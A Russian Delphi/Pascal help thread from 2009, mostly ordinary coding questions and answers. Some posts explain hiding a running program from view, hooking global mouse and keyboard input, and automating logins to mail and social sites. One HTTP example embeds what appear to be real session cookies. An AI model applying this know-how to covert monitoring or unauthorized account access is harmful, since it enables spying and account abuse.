Просмотр полной версии : [Delphi]/[Pascal] Задай вопрос, получи ответ
TPAXTOP, вот, набросал в блокноте. Можно было бы конечно более оптимально решить задачу, но думаю тебе и так пойдет))
program name_of_program;
var i,s:integer;
begin
for i:=100 to 999 do
begin
if i mod 25=0 then
s:=s+i;
end;
writeln(s);
readln;
end.
StealthMaster СПАСИБО тебе большое!!!
писец, парень не тупи, тебе сделали уже давно.. даже выбор есть, 3 варианта тебе предложено :D
ахах))
действительно, у меня эту страницу не открывало О_о
БЛАГОДАРЮ ВСЕХ ЗА ПОМОЩЬ!
StealthMaster
18.12.2009, 00:07
TPAXTOP, тебе же написали целых два способа: с циклом while и с циклом for:
Program While25;
var
i,k:integer;
begin
k:=0;
i:=100;
while i<=999 do // тут 999, а не 1000, как было
begin
k:=k+i;
i:=i+25;
end;
writeln (k);
end.
Program For25;
var
i:integer;
k:integer;
begin
k:=0;
for i:=100 to 999 do
if i mod 25 = 0 then
k:=k+i;
writeln (k);
end.
Хотя, имхо, второй алгоритм (с циклом for) можно немного доработать: вместо того, чтобы делать 900 сравнений можно посчитать количество чисел делящихся на 25 в пределах от 100 (включительно) до 999, а потом запустить цикл for с таким количеством итераций (фактически, полученный алгоритм очень похож на первый):
Program For25Extra;
uses
CRT;
var
Result: integer;
count: integer;
number: integer;
i: integer;
begin
clrscr;
count := (999 div 25) - (99 div 25);
Result := 0;
Number := 100;
for i := 1 to count do
begin
inc(Result, Number);
inc(Number, 25);
end;
writeln('Result: ', Result);
readln;
end.
mr_walker
18.12.2009, 00:08
Пост #5252 ктото знает?
storm-soft
18.12.2009, 00:38
Подскажите пожалуйста кто знает как это сделать
нужно подключится к почтовому серверу и проверить есть ли письма от определённого отправителя.
Заранее спасибо
Вася Рогов
18.12.2009, 12:16
как правильно зацепица (залогиница) на сайте wap.my.mail.ru
сначало делаю post, потом get... но ничего не выходит... снифер пока ничего внятного не выдал.
romeo[solo]
18.12.2009, 14:26
нужно сделать 10 потоков, и контроллирующий поток
10 потоков имеют 1 и тот же код, каждый поток при необходимости выполнения какого-то действия отсылает данные на контроллирующийся поток, в котором все потоки становятся в очередь на выполнение, после того как контроллирующий поток обработал запрос за выполнение 1 действия, он отдаёт команду на запрашивающий поток, что можно продолжать работу
т.е. все потоки становятся в очередь в контр поток, и только когда будет обработано действие контр поток возобнавляет работу того потока для которого это действие выполнялось.
ещё такой вопрос: если программа будет содержать много потоков, нагрузка процессора будет распределяться по всем ядрам или нет?
Nightmarе
18.12.2009, 16:46
Вопрос по API функции CreateThread, как через неё сделать 10 потоков?
Вот команда на запуск функции:
h1:=beginthread(nil,1024,@incedit1,nil,0,th1);
Не могу только понять, что именно отвечает тут за количество потоков, то ли h1, то ли 1024, то ли 0....
ничего. неотвечает. читай msdn
Нужно в цикле запускать нужное кол-во раз
Вообще на форуме куча примеров связанных с прогопоточностью. ВОт и возьми какойить один из них
как сделать что бы при нажатии на ячейку в стринггрид она изменяла свой цвет?
Как с помощью сокетов сделать сервер и клиент чтобы передать команды?
Подскажите!! как распарсить страницу одноклассников для определения ошибки при входе: "Профиль временно заблокирован. Попробуйте войти еще раз через 30 минут."
Пишу так
if Pos('Профиль временно заблокирован.',b.lock) >0 then
begin
....
но пос ничего не находит.... как исправить? и что искать при такое ошибке??
Si{R}ius
19.12.2009, 21:09
как сделать что бы при нажатии на ячейку в стринггрид она изменяла свой цвет?
Димон, глянь Delphi Russian Knowledge Base (http://www.filehoster.ru/files/ec7580) , там подборка статей по делфи, про изменение StrinGrida туева хуча статей, как и про другие компоненты...
Вопрос
Как по четырем вводимым точкам определить, выпуклый ли четырехугольник? (не пересекаются ли его стороны) (Pascal/Delphi)
Как по четырем вводимым точкам определить, выпуклый ли четырехугольник? (не пересекаются ли его стороны) (Pascal/Delphi)
отвечу как по математике,нарыл теорему:
"Сумма углов опуклого n-угольника = 180градусов*(n-2)"
в нашем случае n=4,то есть сумма углов =360,осталось только проверить сумму углов.их ты можешь найти через точки,а именно подсчитать расстояние между двумя точками для всех сторон четырехугольника,а потом брать 3 смежные точки,соединять их в треугольник и находить необходимый угол четырехугольника,ну а дальше сумма....осталось только вывести окончательную формулу и забить все в делфи\паскаль:)
кто знает алгоритм попроще пишите:)
Markus_13
20.12.2009, 03:41
Как по четырем вводимым точкам определить, выпуклый ли четырехугольник? (не пересекаются ли его стороны) (Pascal/Delphi)
Тоже нужно было нечто подобное, покопался нашел у себя прогу, переписал немного под твои нужды, вот:
function Sign(const v:Integer):shortint;
begin Result:=0;if v<0 then Result:=-1
else if v>0 then Result:=1;end;
...
function WhichSide(p,q,r:TPoint):Integer;begin
Result:=Sign((p.x-q.x)*(q.y-r.y)-(p.y-q.y)*(q.x-r.x));end;
...
function Compare(p,q:TPoint):Integer;begin if p.x<q.x then
Result:=-1 else if p.x>q.x then Result:=1 else if p.y<q.y then
Result:=-1 else if p.y>q.y then Result:=1 else Result:=0;end;
...
function Vypukl(p: array of TPoint):boolean;
var i,n,d1,d2,s1,s2,c:Integer;p1,p2,p3:tPoint;
function CheckTriple:Boolean;begin Result:=True;
d1:=compare(p2,p3);if d1=-d2 then inc(c);d2:=d1;
s1:=WhichSide(p1,p2,p3);if s1<>0 then begin if s2=-s1
then begin Result:=False;Exit;end;s2:=s1;end;end;
begin result:=true;s2:=0;c:=0;
n:=Length(p);d2:=Compare(p[0],p[1]);
for i:=0 to High(p)do begin p1:=p[i];
p2:=p[(i+1)mod n];p3:=p[(i+2)mod n];
if not CheckTriple then begin Result:=false;Exit;end;
end;end;
...
var i:tImage; ms:tLabel;
...
procedure TForm1.iClick(Sender: TObject);
var p:array of tPoint; k,m:byte;
begin
m:=4;
setlength(p,m);
for k:=0 to m-1 do begin
p[k].X:=random(i.Width-10)+5;
p[k].Y:=random(i.Height-10)+5;
end;
i.Canvas.FillRect(i.ClientRect);
i.Canvas.Polygon(p);
ms.Caption:='Не выпуклый!';
if Vypukl(p)then ms.Caption:='Выпуклый';
end;
работает, но не 100%но =(
З.Ы. код определения выпуклости я откуда-то скопипастил (непомню уже) и переделал под свои нужды :rolleyes:
ZdezBilYa
20.12.2009, 04:04
Вопрос
Как по четырем вводимым точкам определить, выпуклый ли четырехугольник? (не пересекаются ли его стороны) (Pascal/Delphi)
элементарно...
- рассматриваешь все пары вершин
- для каждой пары составляешь уравнение прямой, проходящей через эти две точки (запрос в гугле: "уравнение прямой через две точки")
- подставляешь координаты двух других точек в уравнение прямой. Если значения одинакового знака, значит точки лежат по одну сторону от прямой.
- если для всех пар точек получилось, что другие точки лежат по одну сторону, значит четырехугольник выпуклый
При компиляции появляется ошибка вида:
[Fatal Error] Could not create output file 'C:\(путь)\Project1.exe
В чем может быть проблема?..
SHAHID то что компилятор не может создать файл, например если проект запущен с сети или еще какого то места где нет прав на запись
ErrorNeo
20.12.2009, 18:56
вопрос - как проще сделать в потоке application.processmesseges длительностью (скажем) 10 секунд?
слип не предлагать:)
ответ:
uses SysUtils,Dateutils;
var
start_time:Tdatetime;
{10 секунд обрабатываем сообщения}
start_time:=now;
while SecondSpan(now, start_time)<10 do application.ProcessMessages;
Si{R}ius
20.12.2009, 19:01
При компиляции появляется ошибка вида:
[Fatal Error] Could not create output file 'C:\(путь)\Project1.exe
В чем может быть проблема?..
Дык сохрани проект и перезапусти Делфи...все заработает
вопрос - как проще сделать в потоке application.processmesseges длительностью (скажем) 10 секунд?
слип не предлагать:)
Таймер...
Как на WinSock сделать сервер-клиент?
Таймер...
Как на WinSock сделать сервер-клиент?
Есть интересная программка, называется DRKB Explorer. В ней база всяких статей по Delphi (не помню откада она их берет), вот. Там есть ответ подробный на твой вопрос.
P.S Полезная вообще это штука.
Как на WinSock сделать сервер-клиент?
Книгу Михаила Фленова под названием "delphi глазами хакера" в руки (там очень хорошо описывается работа с winsock)
n1ghtstalker
20.12.2009, 20:32
Вопрос волнующий мой мозг до глубины ... мне надо составить программу которая бы заменяла из Аbcda сделала AbcdA,
те 'a' стало 'A' ... или наоборот abcda .
Upcase не помогает... есть у кого идеи?
Загуглил нашёл такую функцию, но адин х не пашет.... :
function downcase(symbol:char):char;
begin
case symbol of
'A'..'Z','А'..'П':downcase:=chr(ord(symbol)+32);
'Р'..'Я':downcase:=chr(ord(symbol)+80);
else
downcase:=symbol;
end;
Markus_13
21.12.2009, 02:49
n1ghtstalker, есть ф-ии LowerCase и UpperCase (только для латиницы)
из Аbcda сделала AbcdA
var s:string;
...
s:='Abcda';
s[length(s)]:=UpperCase(s)[length(s)];
StealthMaster
21.12.2009, 03:00
Вопрос волнующий мой мозг до глубины ... мне надо составить программу которая бы заменяла из Аbcda сделала AbcdA,
те 'a' стало 'A' ... или наоборот abcda .
Upcase не помогает... есть у кого идеи?
Загуглил нашёл такую функцию, но адин х не пашет.... :
function downcase(symbol:char):char;
begin
case symbol of
'A'..'Z','А'..'П':downcase:=chr(ord(symbol)+32);
'Р'..'Я':downcase:=chr(ord(symbol)+80);
else
downcase:=symbol;
end;
function LCase(Symbol: Char): Char;
begin
case Symbol of
'А'..'Я', 'A'..'Z':
Result := Chr(Ord(Symbol) + 32);
'Ё':
Result := 'ё';
else
Result := Symbol;
end;
end;
function UCase(Symbol: Char): Char;
begin
case Symbol of
'а'..'я', 'a'..'z':
Result := Chr(Ord(Symbol) - 32);
'ё':
Result := 'Ё';
else
Result := Symbol;
end;
end;
Функции для перевода символа из нижнего регистра в верхний и наоборот.
alexey-m
21.12.2009, 20:58
n1ghtstalker, есть ф-ии LowerCase и UpperCase (только для латиницы)
Для кириллицы, если не ошибаюсь AnsiUpperCase и соответственно AnsiLowerCase функции используются
AnsiLoverCase
Lover?? любовник??? :D
qwert135
22.12.2009, 02:15
Всем привет.У меня такой вопрос.Какое условие надо задать чтобы цикл repeat/until выполнялся более одного раза,то есть цикл может закончится как минимум на втором круге.Язык паскаль.Заранее спасибо:)
та вариантов куча,нужно просто задать такое условие что бы не выходило сразу и все,а если есть еще какое то ,при котором прога заканчивает цыкл,как вариант можно поставить условие что при таком разкладе его пропускать - "continue".Но опять таки,знать бы конкретно что ты хочешь,было бы легче ответить на вопрос...
repeat
if (условие) then break;
until false;
qwert135
22.12.2009, 11:19
дана функция на определенном интервале с определенным шагом.Нужно вычислить значение функции,вычисления надо закончить когда |Ak|<e.Но нужно это условие сделать сложным,то есть цикл не завершаться после первого круга даже если будет выполнено первое условие
qwert135
22.12.2009, 11:50
У меня код такой: q:=1; repeat q:=q+1; until (abs(Ak)<e) and (а вот тут какое условие задать для q я хз).Сори что так пишу,я с телефона:)
Всем привет.У меня такой вопрос.Какое условие надо задать чтобы цикл repeat/until выполнялся более одного раза,то есть цикл может закончится как минимум на втором круге.Язык паскаль.Заранее спасибо:)
k:=0;
repeat
k:=k+1;
<твой код>;
until (k>1) and (<твое другое условие>);
Проблема возникла такая:
Существует БД Access, связанная с проектом в Delphi..в БД, значит, у одного из элементов стоит тип данных: Дата/время..в то же время в проекте работает всё на "ура", но в Edit, который связан с этим элементом в БД, можно вводить только числовое значение - дата/время..
Собственно что нужно. А нужно сделать так, чтобы в этот же Edit можно было вводить текстовую инфу и чтоб она так же заносилась в БД.
В самой базе уже пробовал менять тип данных, но при компиляции выводится ошибка и ругается именно на тип...
mr_walker
23.12.2009, 02:36
Я уже спрашивал дважды... меня проигнорили... хм.... рискну еще раз!
Как на инди хттп сервере реализовать поддержку пхп???
помогите кто чем может... не проходите мимо! я вам, блин, хоть станцую... стоя раком на голове....
Я уже спрашивал дважды... меня проигнорили... хм.... рискну еще раз!
Как на инди хттп сервере реализовать поддержку пхп???
помогите кто чем может... не проходите мимо! я вам, блин, хоть станцую... стоя раком на голове....
У компонента idHTTPServer имеется процедура обработки GET запросов - OnCommandGet. В ней есть структура ARequestInfo: TIdHTTPRequestInfo и AResponseInfo: TIdHTTPResponseInfo соответственно. Заполняются надлежащим образом, типа :
ARequestInfo.Host = '127.0.0.1:5555'
ARequestInfo.Document = '/index.php'
...
AResponseInfo.ContentText := 'ok';
AResponseInfo.WriteContent;
p.s : Каков вопрос - таков ответ! :p
SHAXID в
dt:TdateTime;
...
dt:=strtodate(edit1.text);
...
dt уже заносишь в базу, вообще посмотри функции пераобразования типов в справочнике делфи.
SHAXID в
dt:TdateTime;
...
dt:=strtodate(edit1.text);
...
dt уже заносишь в базу, вообще посмотри функции пераобразования типов в справочнике делфи.
бле, что-то не до конца недопонял..можно, плиз, поподробнее описать?)
Я уже спрашивал дважды... меня проигнорили... хм.... рискну еще раз!
Как на инди хттп сервере реализовать поддержку пхп???
помогите кто чем может... не проходите мимо! я вам, блин, хоть станцую... стоя раком на голове....
пробуй это:
http://www.delphipages.com/comp/idrunner-987.html
Доброго времени
Делаю фильтрацию поля ввода на числа, отфильтровал по аски кодам числа, еще возник вопрос какая запятая используется там их 2 или 3 и одна из них не численная какую фильтровать??
Или может более рациональное решение подскажите
StealthMaster
23.12.2009, 20:39
Доброго времени
Делаю фильтрацию поля ввода на числа, отфильтровал по аски кодам числа, еще возник вопрос какая запятая используется там их 2 или 3 и одна из них не численная какую фильтровать??
Или может более рациональное решение подскажите
Что ж так сложно то... Так не проще?
procedure TForm1.Edit1KeyPress(Sender: TObject; var Key: Char);
begin
case Key of
'0'..'9',',',#8:;
else
Key := #0;
end;
end;
maks2012
23.12.2009, 20:52
как в проге получить права для записи себя на диск, точнее в папку Programm Files в Windows 7, Vista
Доброго времени
Делаю фильтрацию поля ввода на числа, отфильтровал по аски кодам числа, еще возник вопрос какая запятая используется там их 2 или 3 и одна из них не численная какую фильтровать??
Или может более рациональное решение подскажите
Если нужно ТОЛЬКО для цифр, то этот код поможет:
SetWindowLong(Edit1.Handle, GWL_STYLE,
GetWindowLong(Edit1.Handle, GWL_STYLE) or ES_NUMBER);
Зевс шикарно, но вот еще проблемка нужно еще точку подставить туда с нум пада, там флот значения могут быть.
Пытаюсь разобраться в winsock.
Возникла такая проблемка
есть кусок кода:
addr.sin_family:=AF_Inet;
addr.sin_port:=htons(80);
addr.sin_addr.S_addr:=inet_addr('127.0.0.1');
Err(Connect(S,addr,SizeOf(TSockAddr)));
этот код работает когда на одном ip один сайт,
а как быть если на одном ip не один сайт?
ведь при заходе на этот ip на сайт не попадаешь
TrueBit, Посмотри это:
http://www.sources.ru/delphi/internet/resolve_ip_to_host.shtml
или это:
http://www.sources.ru/delphi/delphi_resolve_host_to_ip.shtml
Одно из них рабочие, а вот какое не помню...
-------------------------------------------
Как мне на Delphi сделать прогу которая бы висела в процессах (То есть без формы) и спокойно выполняла свою дела? Если создать Console Application, то будет висеть окно терменала...
ПС, пока писал пост, подумал что если в Console Application запустить поток, то может быть терминальное окно уйдет?
Вот тут есть это
_http://www.realcoding.net/article/view/250
-CEREBRUM-
24.12.2009, 10:14
Привет всем! Всех с наступающим новым годом!!! Задача: некоторая программа должна реагировать на события от мыши, глобально, например, при передвижении мыши по экрану (или клике в любой области экрана) должно происходить какое-либо действие (например, запись координат в файл или т.п.). Как это реализовать на с++ winapi? обязательно ли нужен хук или есть другие варианты? может, у кого-то кусочки кода есть? (событие может быть и от клавы, например, нажатие любой клавиши!)
Как мне на Delphi сделать прогу которая бы висела в процессах (То есть без формы) и спокойно выполняла свою дела? Если создать Console Application, то будет висеть окно терменала...
ПС, пока писал пост, подумал что если в Console Application запустить поток, то может быть терминальное окно уйдет?
На мой взгляд у тебя два выхода - либо прятать форму, либо создавать приложение без форм.
В первом случае производим такие действия с фомой:
>BorderStyle = bsNone
>Color = clSkyBlue
>TransparentColor = True
>TransparentColorValue = clSkyBlue>
>На событие OnShow пишем такой код:
ShowWindow(Application.Handle, sw_Hide);
Во втором случае:
>Создаем ConsoleApplication
>Удаляем (Стираем после program Project1) директиву {$APPTYPE CONSOLE}
2 -CEREBRUM-
<brainfuck>
ты читать умеешь?
>>> Как это реализовать на с++ winapi? <<
Нахера ты это кинул в теме про делфи и паскаль? Если есть прекрепленная тема для этих языков.
</brainfuck>
Вообще такие вещи делаются через установку ловушек (SetWindowsHookEx )
Но если тебе нужны координаты, то через определенное время просто получай координаты мышки (GetCursorPos). К примеру через цикл с паузой с маленьким интервалом ожидания или через таймер. И если координаты изменились, то сохрани их в файл.
Если юзать SetWindowsHookEx то можно заюзать ловушку WH_JOURNALRECORD - для ней даже DLL писать не надо.
Если юзать ловушку WH_MOUSE то нужна DLL.
в 5005 статей по делфи есть статья - Создание мышиного перехватчика
и там всё написано на winapi так что написать это на С++ несоставит труда
2 patcher ппц ты жжеш. Если нужно скрыть форму, то ты выбрал самый жестокий вариант, который дает наибольшую нагрузку на ОС (за счет прозрачности)
Такие вищи решаются намного проще.
в файле проекта (*.dpr) нужно дописать Application.ShowMainForm := false; перед Application.Run;
пример :
Application.Initialize;
Application.CreateForm(TForm1, Form1);
Application.ShowMainForm := false; // ВОТ ЭТО НУЖНО ВПИСАТЬ
Application.Run;
Ну а если форма не нужна, то можно или консольный проект с убранной директивой что это консольная прога. Или создать обычный проект, удалить все формы и в dpr файле убрать всё лишнее. Но первый вариант проще )
-CEREBRUM-
24.12.2009, 11:43
Нахера ты это кинул в теме про делфи и паскаль?
Сорри, по невнимательности.
Если юзать SetWindowsHookEx то можно заюзать ловушку WH_JOURNALRECORD - для ней даже DLL писать не надо.
Спасибо, то что надо!
почти всю программу написал, осталось только заменить минимальное значение каждой строки матрици, на номер столбца в котором оно находится.
PROGRAM Project1;
{$APPTYPE CONSOLE}
uses
SysUtils;
CONST
n=9; // количество элементов массива
label prog1,prog2,ASD ;
TYPE
ar=array[1..n] of real; // объявление типа массива
VAR
a:ar; // исходный массив А
s:real; // сумма отрицательных элементов
i,ppp,m:integer; // счетчик элементов
begin
Writeln('Press 1 to program #1');
Writeln('Press 2 to program #2');
readln(ppp);
if ppp=1 then goto ASD;
begin
if ppp=2 then goto prog2;
// Ввод исходных данных
ASD: WriteLn('Type ', n, ' real elements of array:');
for i:=1 to n do
Read(a);
writeln;
// Выполнение задачи
s:=0; m:=0; // начальное значение суммы
for i:=1 to n do // цикл перебора элементов массива
if (a>0) and (m<5)
then // выборка отрицательных элементов
begin
s:=s+a; // суммирование
m:=m+1;
end;
// Вывод результата
if s=0 then
WriteLn('Нет положительніх єлементов')
else
WriteLn(' S=',s:8:4);
WriteLn('***** Press <enter> to finish *****');
Readln; // задержка экрана
Readln;
end;
end.
n1ghtstalker
24.12.2009, 13:51
Эм товарищ массив тогда по задаче должен быть двумерный,а у вас одномерный.
Для нахождения мин элемента сравниваете по строчно элементы,а потом в новый одномерный массив записывайте мин элемент.
В новом цикле если a[i,j]=b[i] then a[i,j]:=j; где j соответственно столбец.
Пытаюсь разобраться в winsock.
Возникла такая проблемка
есть кусок кода:
addr.sin_family:=AF_Inet;
addr.sin_port:=htons(80);
addr.sin_addr.S_addr:=inet_addr('127.0.0.1');
Err(Connect(S,addr,SizeOf(TSockAddr)));
этот код работает когда на одном ip один сайт,
а как быть если на одном ip не один сайт?
ведь при заходе на этот ip на сайт не попадаешь
Во первых, мы соед. с сервером но не с сайтом, т.е. производится функция коннекта к серверу (а именно к порту сервера)(но не к сайту), к примеру мы приконнектились и хотим чтобы сервер нам выдал содержимое определенной страницы (в html виде естественно :) ), определенного сайта.
Тогда пишем так (я забежал чуть вперед чтобы было понятно):
procedure TForm1.Button1Click(Sender: TObject);
var
sock:tsocket;
addr:sockaddr_in;
sendstring:string;
sendbuffer, recvbuffer:array [0..4095] of char;
dsize:dword;
begin
sock:=socket(af_inet, SOCK_STREAM, 0); //Указываем что хотим работать с TCP
addr.sin_family:=af_inet;
addr.sin_addr.S_addr:=inet_addr('81.177.9.119');//Ip тачки где расположен сайт gamecs.net
addr.sin_port:=htons(80);
if connect(sock, addr, sizeof(addr))=0 then //В случае если успешно подкл. к порту то...
begin
Showmessage('Соед. есть! Посылаем данные');
sendstring:='GET http://gamecs.net/forum/index.php? HTTP/1.0'+#13#10+
//Говорим мол нам нужна страница broadcast.xml
//Тут даем знать серверу какой нам нужен сайт
'User-Agent: Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.20'+#13#10+
'Host: gamecs.net'+#13#10+
'Cookie: pass_hash=aa1b56893b171c26e306a653c4074af1; session_id=6535fe43f9b89af027382d5c00ff2790; __utma=172773923.'+
'2094703955.1261652832.1261652832.1261652832.1; __utmb=142773923; __utmc=142773923; __utmz=142773923.1261652832.1.1.utmccn=(direct)|ut mcsr=(direct)|utmcmd=(none)'+#13#10+
'Cookie2: $Version=1'+#13#10+
'Connection: Keep-Alive'+#13#10+#13#10;
CopyMemory(@sendbuffer, pchar(sendstring), length(sendstring));
send(sock, sendbuffer, sizeof(sendbuffer), 0);
repeat
dsize:=recv(sock, recvbuffer, 4095, 0);
memo1.lines.text:=memo1.lines.text+recvbuffer;
until (dSize = 0) or (dSize = SOCKET_ERROR);
//Принимаем полный HTML пакет
//Правда там всякая фигня в конец дописывается но лень сейчас дореализовывать этот момент
end
else
begin
Showmessage('Соед. нету!');
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
var
ws:wsadata;
begin
WSAStartup($101, ws);
end;
Если что не понятно -> спрашивай
(у gamecs.net тоже есть соседнии сайты)
Как мне на Delphi сделать прогу которая бы висела в процессах (То есть без формы) и спокойно выполняла свою дела? Если создать Console Application, то будет висеть окно терменала...
Собственно, как и говорил slesh. File->new->other->console application.
Удаляем строчку {$APPTYPE CONSOLE} - так не будет показываться черное окно. Далее организуем бесконечный цикл, чтобы программа висела в памяти. Фленов в "Delphi глазами хакера" приводил такой вариант:
while GetMessage (Msg, HInstance, 0, 0) do
begin
TranslateMessage(msg);
DispatchMessage(msg);
//где-нибудь тут пишется свой код
end;
Но у меня на машине этот способ безбожно тормозил и грузил процессор на 100%, поэтому я делаю так:
while GetMessage (Msg, HInstance, 0, 0) do
begin
TranslateMessage(msg);
DispatchMessage(msg);
//где-нибудь тут пишется свой код
Sleep(100);
end;
Может, можно делать как-то более правильно, но я честно не знаю как. Да и в принципе, меня так вроде устраивает.
Помогите с задачкой
Вводить числа с клавиатуры пока их не станет больше пяти и не попадётся число 100
Вот написал но что то ошибку пишет
Program x3;
VAR
integer:x,i;
Begin
i:=0;
while( i>=5) and (x=100) do
begin
readln(x);
inc(i);
end;
end.
В чем ошибка подскажите плз
Как завершить поток созданный CreateThread?
Гуглил -> не нашел
transserg
24.12.2009, 20:21
Как завершить поток созданный CreateThread?
Гуглил -> не нашел
TerminateThread(<Хендл потока>,<Код завершения обычно 0>)
вот ссыль на мсдн http://msdn.microsoft.com/en-us/library/ms686717(VS.85).aspx
TerminateThread(<Хендл потока>,<Код завершения обычно 0>)
вот ссыль на мсдн http://msdn.microsoft.com/en-us/library/ms686717(VS.85).aspx
Что то не работает, можно маленький пример с TerminateThread? (скорее всего что-то не так делаю)
transserg
24.12.2009, 20:36
а что ты в нее передаешь? то что вернула CreateThread или ThredID это полсдений параметр CreateThread. нужно передавать Хендл потока то что вернет CreateThread или OpenThread
Вот пример
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
Memo1: TMemo;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
hThrad:THAndle;
implementation
{$R *.dfm}
Function Thead(P:Pointer):LongInt;
var
i:Integer;
begin
i:=0;
while True do
begin
Form1.Memo1.Lines.Add(IntToStr(i));
Inc(i);
Sleep(1000)
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
thr:Cardinal;
begin
hThrad:=createthread(nil,0,@Thead,nil,0,thr);
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
TerminateThread(hThrad,0);
end;
end.
n1ghtstalker
24.12.2009, 23:08
Помогите с задачкой
Вводить числа с клавиатуры пока их не станет больше пяти и не попадётся число 100
Вот написал но что то ошибку пишет
Program x3;
VAR
integer:x,i;
Begin
i:=0;
while( i>=5) and (x=100) do
begin
readln(x);
inc(i);
end;
end.
В чем ошибка подскажите плз
переменная x<>100 . не равна . а то у тебя получается в цикл входит только тогда х=100, а у тебя должен выходить когда x=100.
вот собственно и всё.
Fireblade
24.12.2009, 23:22
Как сделать в дельфи чтоб текст в Label выводился не сразу, а через какой-нибудь промежуток времени? Пример плиз приведите ))
Как сделать в дельфи чтоб текст в Label выводился не сразу, а через какой-нибудь промежуток времени? Пример плиз приведите ))
процедура sleep(....),где указывается время задержки в милисек.,в данном примере задержка на 1 сек
procedure TForm1.Button1Click(Sender: TObject);
begin
sleep(1000);
label1.Caption:='xaxaxa';
end;
Fireblade
24.12.2009, 23:47
DimkO, спасибо!!
Всем доброго времени суток!
Подскажите как спрятать программку с панели задач, но чтобы форма была видна.
По такому принципу работают виджеты.
Заранее спасибо!
P.S Так пробовал но не полочилось _http://delphi-faq.zoxt.net/143.htm
Подскажите как спрятать программку с панели задач, но чтобы форма была видна.
FormOnShow
ShowWindow(Application.Handle, sw_Hide);
FormOnShow
ShowWindow(Application.Handle, sw_Hide);
Спасибо =) Не подумал в онШов засунуть ^^
Доброго времени суток!
Имею проблему с утечкой памяти.
Код потока:
procedure Test.Execute;
var
http : Tidhttp;
s : string;
compressor : tIdCompressorZLib;
begin
http := Tidhttp.Create; http.Request.AcceptEncoding := 'gzip, deflate';
compressor := tIdCompressorZLib.Create; http.Compressor := compressor;
s := http.get ('http://yandex.ru');
http.Free; compressor.Free; exit;
end;
После остановки, по идее, он должен освободить занимаемую память. Но этого не происходит - уже через час бесперебойной работы программы она занимает 50-60 мб. оперативной памяти, против 2 мб. при запуске. Чем дольше работает - тем больше кушает.
Помогите разобраться в проблеме, пожалуйста - программы должны сутками бесперебойно работать, а этого не выходит.
mr_walker
25.12.2009, 18:57
У компонента idHTTPServer имеется процедура обработки GET запросов - OnCommandGet. В ней есть структура ARequestInfo: TIdHTTPRequestInfo и AResponseInfo: TIdHTTPResponseInfo соответственно. Заполняются надлежащим образом, типа :
ARequestInfo.Host = '127.0.0.1:5555'
ARequestInfo.Document = '/index.php'
...
AResponseInfo.ContentText := 'ok';
AResponseInfo.WriteContent;
p.s : Каков вопрос - таков ответ! :p
Нет, ты не понял... попытаюсь сформулировать:
на CommandGet пишу:
procedure Form1.CommandGet(AThread: TIdPeerThread;
ARequestInfo: TIdHTTPRequestInfo; AResponseInfo: TIdHTTPResponseInfo);
begin
IvanetsServerMain.ServeFile(AThread, AResponseInfo,
'd:\Server_root\www'+ARequestInfo.Document);
end;
мне нужно чтобы при вводе в строке браузера
http://имя_хоста/index.php выводило полноценную пхп страницу....
Во первых, мы соед. с сервером но не с сайтом, т.е. производится функция коннекта к серверу (а именно к порту сервера)(но не к сайту), к примеру мы приконнектились и хотим чтобы сервер нам выдал содержимое определенной страницы (в html виде естественно ), определенного сайта.........
Всё получилось спасибо, но как вывести в мемо код страницы, сейчас в мемо какие то иероглифы..
Markus_13
26.12.2009, 06:41
Всё получилось спасибо, но как вывести в мемо код страницы, сейчас в мемо какие то иероглифы..
а так не катит?:
uses IdHttp;
...
var s:string;h:tIdHttp;
begin
h:=tIdHttp.Create(nil);
memo1.Lines.Clear;
s:=h.Get('http://antichat.ru');
memo1.Lines.Add(s);
h.Free;
...имхо самый простой и удобный вариант на делфи
а так не катит?:
uses IdHttp;
...
var s:string;h:tIdHttp;
begin
h:=tIdHttp.Create(nil);
memo1.Lines.Clear;
s:=h.Get('http://antichat.ru');
memo1.Lines.Add(s);
h.Free;
...имхо самый простой и удобный вариант на делфи
нет, нужно на winsock
wwalex101
26.12.2009, 18:16
пмогите подалуста как мне использовать функцию
function BinToInt(Value: string): Integer;
var
i, iValueSize: Integer;
begin
Result := 0;
iValueSize := Length(Value);
for i := iValueSize downto 1 do
if Value[i] = '1' then Result := Result + (1 shl (iValueSize - i));
end;
в процедуре
procedure TForm1.Button1Click(Sender: TObject);
???!!! понимаю google.ru ответил бы на мой вопрос но вот седян он не хочет давать мне ответа ...
Nullsleep
26.12.2009, 20:12
procedure TForm1.Button1Click(Sender: TObject);
begin
Button1.Caption := IntToStr(BinToInt('10001010'));
end;
Всё получилось спасибо, но как вывести в мемо код страницы, сейчас в мемо какие то иероглифы..
Какой пакет посылаешь?
Какой пакет посылаешь?
ну как в твоём примере только сайт и другие данные свои вставил..
ну как в твоём примере только сайт и другие данные свои вставил..
Если есть:
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: en,ru-RU;q=0.9,ru;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
То убирай это, если же нет -> код в студию, я больше не могу представить что у тебя не так
код в студию, я больше не могу представить что у тебя не так
даже если брать тот код что ты выложил в посте #5315 там в мемо выводяться какие то иероглифы..
ты будешь давать код или нет? у меня с тем кодом было все нормально (с выводом)
ой извиняюсь.Нашел свою ошибку, всё дело в том что я компилил этот код в delphi 2010 и, видимо, он не совместим с этой версией delphi. Стоило мне установить delphi 7 и всё заработало.
Огромное спасибо wolmer за код.
Какую литературу, нужно использовать для освоения Делфи?
Какую литературу, нужно использовать для освоения Делфи?
вопрос старый как свет....для начала прочти "Библия Delphi" Михаила Флеонова,если понравится,юзай дальше 4ет посерьезней
mr_walker
28.12.2009, 00:47
Нет, ты не понял... попытаюсь сформулировать:
на CommandGet пишу:
procedure Form1.CommandGet(AThread: TIdPeerThread;
ARequestInfo: TIdHTTPRequestInfo; AResponseInfo: TIdHTTPResponseInfo);
begin
IvanetsServerMain.ServeFile(AThread, AResponseInfo,
'd:\Server_root\www'+ARequestInfo.Document);
end;
